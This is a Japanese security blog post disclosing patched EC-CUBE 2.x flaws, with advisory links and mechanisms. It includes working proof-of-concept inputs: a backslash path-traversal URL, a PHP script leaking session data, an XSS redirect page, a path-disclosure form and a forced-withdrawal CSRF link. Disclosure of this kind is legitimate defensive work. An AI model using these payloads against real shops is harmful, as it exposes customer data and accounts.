前の投稿 次の投稿

EC-CUBEで発見した脆弱性の詳細 前編

ある方よりEC-CUBEのある脆弱性の情報公開の要望を受け、EC-CUBE3がリリース一周年となり、EC-CUBE2.13が2017年7月にサポート終了ということも考えるとそろそろ頃合いかとも思えたので、私が以前発見したEC-CUBEの脆弱性について詳細を公開します。

脆弱性の詳細を公開する理由は、いわゆるフルディスクロージャの考え方によります。
脆弱性の情報を全員が把握している状態になっているほうが、攻撃ログを解析しやすくなったり、脆弱性の有無を判定できるようになったり等、脆弱性への対策を立てやすくなります。
(もちろん攻撃者も詳細を知ることになるわけですが、OSSの場合脆弱性が公表された日からずっと、パッチの解析などの手段で攻撃者が情報を入手しうる状態は続いているので、いつ攻撃が発生するか分からないし、もしかしたら既に気づかれない形で攻撃が発生しているかもしれない、ということから考えると、脆弱性の情報公開は、タイミングをはかる必要があるにしても、防御側の情報共有のためにむしろ積極的にしたほうが良いということになります)

EC-CUBEの場合、2系のものはカスタマイズして使われることが多いと思われますが、カスタマイズ時に再度脆弱性が作りこまれてしまったりする問題が解消されると思われます。

EC-CUBE2.1x系には自動アップデート機能がないので、開発元のロックオン社からパッチが配布されても適用は手作業となるため、情報の公開には多少の期間をおくべきと思われましたが、今回公表する内容は開発元のパッチ公開から十分な時間が経っていますし、逆にいささか時間を置きすぎたかもしれません。

今回ここで詳細を解説する脆弱性は全て、公表時にロックオン社からEC-CUBEダウンロード者に対策パッチ公開を知らせるメールが飛び、ロックオン社公式サイトに脆弱性情報および対策のページが公開されたものであり、(比較的軽微な一件を除いて)JVNが公開されたものです。


今回公開する脆弱性のリストです。
情報の分量が多いのと、一応最後の念押しとして、前後編に分け、まずは比較的危険性が低いものから前編として公開しようと思います。

[前編]
お届け先複数指定画面でのXSS脆弱性(情報公開日:2013-05-22 / 危険度:中)
ディレクトリトラバーサルの脆弱性(情報公開日:2013-06-26 / 危険度:低)
クロスサイトスクリプティング及び、セッション情報漏えいの脆弱性(情報公開日:2013-11-19 / 危険度:低)
ファイルパス情報漏えいの脆弱性(情報公開日:2013-11-19 / 危険度:中)
クロスサイトリクエストフォージェリの脆弱性(情報公開日:2013-11-19 / 危険度:中)

[後編の内容予告]
[公開予告]一部環境における、管理画面の不適切な認証に関する脆弱性(情報公開日:2013-05-22 / 危険度:高)
[公開予告]コードインジェクションの脆弱性(情報公開日:2013-06-26 / 危険度:高)
[公開予告]Windowsサーバー環境における、ディレクトリトラバーサルの脆弱性 (情報公開日:2013-08-29 / 危険度:高)
[公開予告]クロスサイトリクエストフォージェリの脆弱性(情報公開日:2015-10-23 / 危険度:中)

後編は何事もなければ一週間後の8/24(水)深夜か、遅くとも8/25(木)深夜には公開しますので、万が一まだパッチが当たってないEC-CUBEがある場合は後編が公開される前にご対応ください。(デモサイト等にもご注意ください)


■お届け先複数指定画面でのXSS脆弱性(情報公開日:2013-05-22 / 危険度:中)

・脆弱性の情報
項目情報
EC-CUBE公式情報http://www.ec-cube.net/info/weakness/weakness.php?id=44
JVNなし
情報公開日2013年 05月 22日
危険度
対象EC-CUBE Ver 2.11.0以降(2.11.0 ~2.12.3)
これは比較的軽微な脆弱性と言えると思いますが、EC-CUBEのお届け先複数指定画面上のさまざまな値にエスケープが入っておらず、セルフXSSの形でXSSが可能となっていた、というものでした。

この画面にはuniqidというパラメータによりCSRFチェックが入っているため、第三者がユーザーにリンクを踏ませてXSSを発動させるということができず、セルフXSSしかできないものだったので、脆弱性としての危険度はそれほど高くありません。

本件の修正のチェンジセットを参照すれば何が問題だったのかだいたい把握できると思います。
http://svn.ec-cube.net/open_trac/changeset/22784


■ディレクトリトラバーサルの脆弱性(情報公開日:2013-06-26 / 危険度:低)

・脆弱性の情報
項目情報
EC-CUBE公式情報http://www.ec-cube.net/info/weakness/weakness.php?id=48
JVNDBhttp://jvndb.jvn.jp/ja/contents/2013/JVNDB-2013-000061.html
情報公開日2013年 06月 26日
危険度
対象EC-CUBE 2.12.5 より前のバージョン

これはWindowsサーバー上で稼働しているEC-CUBE上記バージョンにおける脆弱性で、サーバー上の任意の場所の画像ファイルが参照可能となる脆弱性です。

重要度は比較的低い脆弱性ですが、同一サーバー上に第三者に見られてはいけない画像ファイル(例えば会員登録システムが併設されていて、身分証の画像など)があったりすると危険度は高くなります。
本件はWindowsサーバー上で運用されているEC-CUBEのみが対象です。

EC-CUBEのresize_image.phpが読み込める画像は、設定ファイルにより、定数IMAGE_SAVE_REALDIR下の画像に制限されていたのですが、指定されたファイルパスをチェックする正規表現に穴があり、Windows環境の場合、チェックをすり抜けて相対パスを指定することが可能でした。

LC_Page_ResizeImage.phpのlfCheckFileName()関数のプログラムコードは以下のようになっています。
function lfCheckFileName() {
    //$pattern = '|^[0-9]+_[0-9a-z]+\.[a-z]{3}$|';
    $pattern = '|\./|';
    $file    = trim($_GET['image']);
    if (preg_match_all($pattern, $file, $matches)) {
        return false;
    } else {
        return true;
    }
}
この関数では、正規表現で「./」がパスに含まれる場合、正しくないファイル名としてfalseを返すようになっていますが、Windows環境の場合、パスの区切りに「\」を使う事ができるので、この指定方法を使えば、上記の正規表現に引っかからず、IMAGE_SAVE_REALDIRよりも上位のディレクトリの画像を指定することが可能となります。

例)
エラーになるケース

resize_image.php?image=../someimage.jpg&width=80&height=80

→画像は表示されない

チェックをすり抜けることができるケース

resize_image.php?image=..\someimage.jpg&width=80&height=80

→IMAGE_SAVE_REALDIRの一つ上のディレクトリのsomeimage.jpgが表示される

そのため、Windows環境におけるresize_image.phpのこの脆弱性を用いると、サーバ内の非公開領域にある画像であっても、画像の位置が分かっていれば、インターネット側から参照することが可能となります。

ただし当該プログラムの仕様により、本脆弱性を使ってもgif,jpg,png画像以外のファイルの表示ができないので、サーバー上に画像の形で重要情報が置いてあるケースは限られるため、一般的にはそこまでの危険性を持つ脆弱性とは言えないのではないかと思いますが、身分証画像やマイナンバー通知書画像のアップロードがあるシステムと同居している等、画像による重要情報がサーバー上にあり、パスが第三者に推測可能なケースの場合には情報漏えいの危険があります。

(※本件届出時に「.\/」でチェックをバイパスできる現象を発見した際の理解が間違っていて、「\でエスケープをしている」というような謎説明で届出を行っていたのですが、そんなわけはなく、上記が正しい説明です。謹んで訂正いたします)


■クロスサイトスクリプティング及び、セッション情報漏えいの脆弱性(情報公開日:2013-11-19 / 危険度:低)

・脆弱性の情報
項目情報
EC-CUBE公式情報http://www.ec-cube.net/info/weakness/weakness.php?id=54
JVNDBhttp://jvndb.jvn.jp/ja/contents/2013/JVNDB-2013-000105.html
情報公開日2013年 11月 19日
危険度
対象EC-CUBE 2.11.0
EC-CUBE 2.11.1
EC-CUBE 2.11.2
EC-CUBE 2.11.3
EC-CUBE 2.11.4
EC-CUBE 2.11.5

本件はEC-CUBEに関しての一番最初の届出だったのですが、再現方法が複雑で、自分の説明がうまくなかったのもあって、IPAの方と話がうまくかみ合わず苦労した覚えがあります。

これはPostgresを利用しているEC-CUBEの上記バージョンにおいて、不正なUTF-8文字コードをリクエストに含めるとエラーが発生し、エラーメッセージとして、PHPSESSIDに紐づいているPHPセッションオブジェクトに入っている情報の先頭680バイト部分(長さは環境による)が、ユーザーのブラウザ上で暴露されてしまう、という脆弱性と、そのエラーメッセージのダンプにタグを含ませることができ、XSSが可能、という脆弱性です。

再現に使ったPostgreSQLのバージョンは9.2.3で、MySQL利用のEC-CUBEだと再現せず、またEC-CUBE2.12.3では同様の攻撃を行っても情報は出力されませんでした。

当時使った検証プログラムのPHPコードが出てきたので貼ります。
<?php
$results = send_socket();
file_put_contents(".\attack_single.txt", $results);

//送信関数
function send_socket(){ 
    $data = '';
    $host = 'localhost';
    $port = '88'; 
    $sock = fsockopen($host, $port);

    $request= <<< _EOM
GET http://localhost:88/eccube-2.11.5pg/html/products/list.php?name=%%%_param_%%% HTTP/1.1
Host: localhost:88
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ja,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=o4hl7bc8on7hi0em9a29efmnu6
Connection: close


_EOM;

    $request_fix=str_replace("%%%_param_%%%", "\xe0\x80\xa7", $request);

    if(!$sock){
        $data = 'socket error:' . $host;
    }else{
        fputs($sock, $request_fix);
        while(!feof($sock)){
            $data .= fgets($sock);
        }
        fclose($sock);
    }
    return $request_fix."\n\n---\n\n".$data;
}

これで http://localhost:88/eccube-2.11.5pg/html/products/list.php?name=\xe0\x80\xa7 というリクエストをソケットで直接EC-CUBEに投入すると、CCUBEからのレスポンスの末尾(までの通常ページ出力の後)に下記エラーメッセージが出力され、SQL文とHTTPセッションの中身が出力されます。
<b>Fatal error</b>:  https://localhost:88http://localhost:88/eccube-2.11.5pg/html/products/list.php?name='

SERVER_ADDR: 127.0.0.1
REMOTE_ADDR: 127.0.0.1
USER_AGENT: Mozilla/5.0 (Windows NT 6.1; rv:19.0) Gecko/20100101 Firefox/19.0

SQL: UPDATE dtb_session SET sess_data= $1, update_date= CURRENT_TIMESTAMP WHERE sess_id = $2

PlaceHolder: array (
0 => 'cart|a:0:{}prev_url|s:67:"http://localhost:88/eccube-2.11.5pg/html/products/list.php?name='";transactionid|s:40:"1c2ce3a89c216f41d22355562458763d2b8e43cf";customer|a:38:{s:11:"customer_id";s:1:"3";s:6:"name01";s:1:"a";s:6:"name02";s:3:"あ";s:6:"kana01";s:3:"ア";s:6:"kana02";s:3:"ア";s:5:"zip01";s:3:"160";s:5:"zip02";s:4:"0022";s:4:"pref";s:1:"1";s:6:"addr01";s:3:"あ";s:6:"addr02";s:3:"あ";s:5:"email";s:19:"*********@gmail.com";s:12:"email_mobile";N;s:5:"tel01";s:2:"03";s:5:"tel02";s:4:"1122";s:5:"tel03";s:4:"3344";s:5:"fax01";N;s:5:"fax02";N;s:5:"fax03";N;s:3:"sex";s:1:"1";s:3:"job";N;s:5:"birth";N;s:8:"password";s:64:"01818cc1125632aaced1b84fb62b90c5ca264339a43f31dc701b2 in <b>C:\fsc\xampp\htdocs\eccube-2.11.5pg\data\class\SC_Query.php</b> on line <b>917</b><br />

セッションIDに紐づいた情報しか見れないので、自分に関するセッションデータしか見ることができないのですが、このダンプでもパスワードハッシュの一部が見えているという要素があり、php.iniのlog_errors_max_len がデフォルトより長く設定してあるともっとダンプされる内容の表示が長くなり、管理画面側からユーザーに対して登録された「SHOP用メモ」の内容が見えてしまう、という要素があったので、「セッション情報が暴露される」という内容で届出を行いました。

ただ、一般的な脆弱性ではなく、届出を行う窓口を最初間違えていたりとか、いろいろあってなかなか話が通じず、いろいろ説明しているうちに、このエラー表示にタグを含めてXSSすることが可能であることに気づきました。

PHPプログラムでソケットなどをわざわざ使わなくとも、IEはパラメーターをURLエンコードしないでサーバーに投入する仕様なので、下記のHTMLファイルをIEで開けば上記のようなセッション暴露およびXSSが可能でした。
<html>
<body>
<script>
document.location = "http://localhost:88/eccube-2.11.5pg/html/products/list.php?name=\xe0\x80\xa7&a=<script>alert('XSS')</scr"+"ipt>";
</script>
</body>
</html>
これをIEで開いた結果、このようにエラー表示内にscriptタグを含ませたり、セッションデータの暴露が行われたりしました。




■ファイルパス情報漏えいの脆弱性(情報公開日:2013-11-19 / 危険度:中)

・脆弱性の情報
項目情報
EC-CUBE公式情報http://www.ec-cube.net/info/weakness/weakness.php?id=52
JVNDBhttp://jvndb.jvn.jp/ja/contents/2013/JVNDB-2013-000098.html
情報公開日2013年 11月 19日
危険度
対象EC-CUBE 2.11.2
EC-CUBE 2.11.3
EC-CUBE 2.11.4
EC-CUBE 2.11.5
EC-CUBE 2.12.0
EC-CUBE 2.12.1
EC-CUBE 2.12.2
EC-CUBE 2.12.3
EC-CUBE 2.12.3en
EC-CUBE 2.12.3enP1
EC-CUBE 2.12.3enP2
EC-CUBE 2.12.4
EC-CUBE 2.12.4en
EC-CUBE 2.12.5
EC-CUBE 2.12.5en
EC-CUBE 2.12.6
EC-CUBE 2.12.6en
EC-CUBE 2.13.0

公開側のマイページ内の /mypage/delivery_addr.php に対し、ParentPageパラメータを「/s」のような値でPOSTすると、ソースコード上で、システム内部の絶対パスが露出する脆弱性でした。

例えば

<html><body>
<form action="http://localhost/eccube-2.12.5/html/mypage/delivery_addr.php"
method="post">
<input type="text" name="ParentPage" value="/s">
<input type="submit" value="submit">
</form>
</body></html>

のようなhtmlでdelivery_addr.phpにPOSTを行うと、まずPOST二回に一回は「不正なアクセスです」エラーになるという挙動があるのですが(この挙動の原因は調べきれず不明です)、正常なページが返ってくるほうのレスポンスで、ソースコード上にサーバ側のHTML_REALDIR定数の絶対パスが露出しています。
(未ログインであることが前提。ログイン済みだとこの現象は起こりません)
<script type="text/javascript">//<![CDATA[
    $(function(){
        fnUpdateParent('http://localhost/eccube-2.12.5/html/home/exampleuser1/www/eccube-2.12.5/html'); window.close();
    });
//]]></script>
</head>
※少し分かりづらいのですが、fnUpdateParent関数の引数のところにサーバ内部のフルパスが出力されています。
この例だと
http://localhost/eccube-2.12.5/html/
までは正規の出力で、それに続く
/home/exampleuser1/www/eccube-2.12.5/html
がサーバ内部の絶対パスの出力です。

ここでこの現象が起こるのは「/」で始まって、「/」で終わっていない存在しないディレクトリ名をParentPageに指定した時で、内部的にHTML_REALDIR定数の内容と合致する箇所の削除がされて出力されるところが、されなくなるのでHTML_REALDIRのフルパスが出力される、というメカニズムのようです。

この現象を利用してシステム内のファイルの絶対パスが取得できます。
LC_Page.phpのgetRootPath関数では、ROOT_URLPATHの文字数分削除した後にrealpathを取るという処理があるので、例えばROOT_URLPATHの文字数が20文字の場合

/aaaaaaaaaaaaaaaaaa/../../../../log/access_log


のような値をPOSTすると、先頭20文字が削られ、/../../../../log/access_log となり、ec-cubeのhtmlディレクトリからの相対でその位置にファイルが存在すれば

fnUpdateParent('http://localhost/eccube-2.12.5/html/home/exampleuser1/log/access_log');

のようなレスポンスが返ってきます。

(指定したファイルが存在しなければ
fnUpdateParent('http://localhost/eccube-2.12.5/html/')
が返ってきます。)

これを利用してシステム内の様々なファイルのパスを取得することが可能です。

ここで判明するのはファイルの絶対パスだけで、ファイルの中身が見れるわけではありませんが、絶対パスが分かることでシステム内の情報が探れるケースがあるため、ある程度の危険があります。


■クロスサイトリクエストフォージェリの脆弱性(情報公開日:2013-11-19 / 危険度:中)

・脆弱性の情報
項目情報
EC-CUBE公式情報http://www.ec-cube.net/info/weakness/weakness.php?id=53
JVNDBhttp://jvndb.jvn.jp/ja/contents/2013/JVNDB-2013-000097.html
情報公開日2013年 11月 19日
危険度
対象EC-CUBE 2.11.0
EC-CUBE 2.11.1
EC-CUBE 2.11.2
EC-CUBE 2.11.3
EC-CUBE 2.11.4
EC-CUBE 2.11.5
EC-CUBE 2.12.0
EC-CUBE 2.12.1
EC-CUBE 2.12.2
EC-CUBE 2.12.3
EC-CUBE 2.12.3en
EC-CUBE 2.12.3enP1
EC-CUBE 2.12.3enP2
EC-CUBE 2.12.4
EC-CUBE 2.12.4en
EC-CUBE 2.12.5
EC-CUBE 2.12.5en
EC-CUBE 2.12.6
EC-CUBE 2.12.6en
EC-CUBE 2.13.0

これは単純なCSRFで、マイページの退会処理の箇所でCSRFチェックが入っていないので、EC-CUBEにログインしているユーザーに下記のようなリンクを踏ませると、ワンクリックで強制退会させることができてしまう脆弱性です。

http://localhost/eccube/html/mypage/refusal.php?mode=complete



以後は後編の予告となります。
各脆弱性に該当するバージョンの情報や開発元のパッチの情報へのリンクがありますので、もし該当する脆弱性への対応がまだである場合、対応をお願いいたします。

■[公開予告]一部環境における、管理画面の不適切な認証に関する脆弱性(情報公開日:2013-05-22 / 危険度:高)

・脆弱性の情報
項目情報
EC-CUBE公式情報http://www.ec-cube.net/info/weakness/weakness.php?id=42
JVNDBhttp://jvndb.jvn.jp/ja/contents/2013/JVNDB-2013-000043.html
情報公開日2013年 05月 22日
危険度
対象EC-CUBE 2.11.0
EC-CUBE 2.11.1
EC-CUBE 2.11.2
EC-CUBE 2.11.3
EC-CUBE 2.11.4
EC-CUBE 2.11.5
EC-CUBE 2.12.0
EC-CUBE 2.12.1
EC-CUBE 2.12.2
EC-CUBE 2.12.3
EC-CUBE 2.12.3en
EC-CUBE 2.12.3enP1
EC-CUBE 2.12.3enP2

これはWindowsサーバー上、もしくはlinuxサーバー上の特定環境で稼働しているEC-CUBEの上記バージョンにおいて、管理画面に攻撃者が認証せずに入ることができ、管理画面上の操作ができてしまう脆弱性です。

侵入者は管理画面の大半の処理ができ、一部できない処理もありますが、顧客情報のCSVダウンロード等、重大な処理が行えてしまいます。

本件は後編で再現手順やメカニズムを公開しますので、上表を参照し、利用中のEC-CUBEとバージョンが合致する場合はパッチが当たっているかを念のためご確認ください。

(参考資料)
この脆弱性については、EC-CUBEエバンジェリストの川口歩氏が、この脆弱性を含む4件の脆弱性(2013/5/22に公表された4件)を解説している動画が公開されています。下北沢オープンソースCafeのEC-CUBE部(東京ユーザ会)の動画「EC-CUBE最新版と脆弱性」です。本脆弱性に関して結構きわどい解説をしていると思います。


■[公開予告]コードインジェクションの脆弱性(情報公開日:2013-06-26 / 危険度:高)

・脆弱性の情報
項目情報
EC-CUBE公式情報http://www.ec-cube.net/info/weakness/weakness.php?id=49
JVNDBhttp://jvndb.jvn.jp/ja/contents/2013/JVNDB-2013-000062.html
情報公開日2013年 06月 26日
危険度
対象EC-CUBE 2.11.2
EC-CUBE 2.11.3
EC-CUBE 2.11.4
EC-CUBE 2.11.5
EC-CUBE 2.12.0
EC-CUBE 2.12.1
EC-CUBE 2.12.2
EC-CUBE 2.12.3
EC-CUBE 2.12.3en
EC-CUBE 2.12.3enP1
EC-CUBE 2.12.3enP2
EC-CUBE 2.12.4
EC-CUBE 2.12.4en

これは、攻撃者が任意のPHPコードを実行できるという危険な脆弱性です。

この脆弱性のあるEC-CUBE上で任意のPHPコードを実行できるため、WEBサーバーの権限でできる処理は何でもできてしまいます。外部から渡されたコマンドをサーバー上で実行するWEBシェルの作成も当然可能でしたので、サーバーを乗っ取られる危険性があります。
この攻撃を成立させるのには認証等は不要で、外部からいきなり攻撃を成立させることが可能です。

本件も後編で再現手順やメカニズムを公開しますので、上表を参照し、利用中のEC-CUBEとバージョンが合致する場合はパッチが当たっているかを念のためご確認ください。


■[公開予告]Windowsサーバー環境における、ディレクトリトラバーサルの脆弱性 (情報公開日:2013-08-29 / 危険度:高)

・脆弱性の情報
項目情報
EC-CUBE公式情報http://www.ec-cube.net/info/weakness/weakness.php?id=50
JVNDBhttp://jvndb.jvn.jp/ja/contents/2013/JVNDB-2013-000081.html
情報公開日2013年 08月 29日
危険度
対象EC-CUBE 2.12.0
EC-CUBE 2.12.1
EC-CUBE 2.12.2
EC-CUBE 2.12.3
EC-CUBE 2.12.3en
EC-CUBE 2.12.3enP1
EC-CUBE 2.12.3enP2
EC-CUBE 2.12.4
EC-CUBE 2.12.4en
EC-CUBE 2.12.5
EC-CUBE 2.12.5en

これは、ちょっとタイトルが微妙で、EC-CUBE2.12.4以前のバージョンの場合linux環境でも問題となる現象を起こせたのですが、届出時の最新版2.12.5の場合、入力チェックが厳しくなってwindows環境上のEC-CUBEでしか攻撃が成立しないことになったので、「Windowsサーバー環境における」というのが付いたのだと思います。

この脆弱性は、EC-CUBEのある機能にあったパストラバーサル脆弱性を特殊な形で突くことで、EC-CUBEに格納されている顧客情報を外部から入手するなどの処理ができるという内容です。

本件も後編で再現手順やメカニズムを公開しますので、上表を参照し、利用中のEC-CUBEとバージョンが合致する場合はパッチが当たっているかを念のためご確認ください。


■[公開予告]クロスサイトリクエストフォージェリの脆弱性(情報公開日:2015-10-23 / 危険度:中)

・脆弱性の情報
項目情報
EC-CUBE公式情報https://www.ec-cube.net/info/weakness/weakness.php?id=63
JVNDBhttp://jvndb.jvn.jp/ja/contents/2015/JVNDB-2015-000166.html
情報公開日2015年 10月 23日
危険度
対象EC-CUBE 2.11.0 から 2.13.4 まで

これは、管理画面に対するCSRFが有効な個所があり、その脆弱性がある画面で行うことができる機能の関係で、EC-CUBE管理画面にログイン中の管理ユーザーに対してあるURLを踏ませるだけで、結果としてPHPコードを実行できてしまう、という脆弱性です。

本件も後編で再現手順やメカニズムを公開しますので、上表を参照し、利用中のEC-CUBEとバージョンが合致する場合はパッチが当たっているかを念のためご確認ください。


(2016.8.18 22時追記)
EC-CUBE開発元の株式会社ロックオンより、脆弱性の再現手順の一般公開はユーザーへの被害が発生する恐れがあるため、今回のブログ記事の後編の公開は止めてほしい、との申し入れが来ましたので、後編の公開を中止いたします。

また、ロックオン社とはEC-CUBEのセキュリティ向上という目的自体は同じですので、今後も継続的にコミュニケーションをとりながら、対応していければと思います。

Leave a Reply

Powered by Blogger.
© WEB系情報セキュリティ学習メモ Suffusion theme by Sayontan Sinha. Converted by tmwwtw for LiteThemes.com.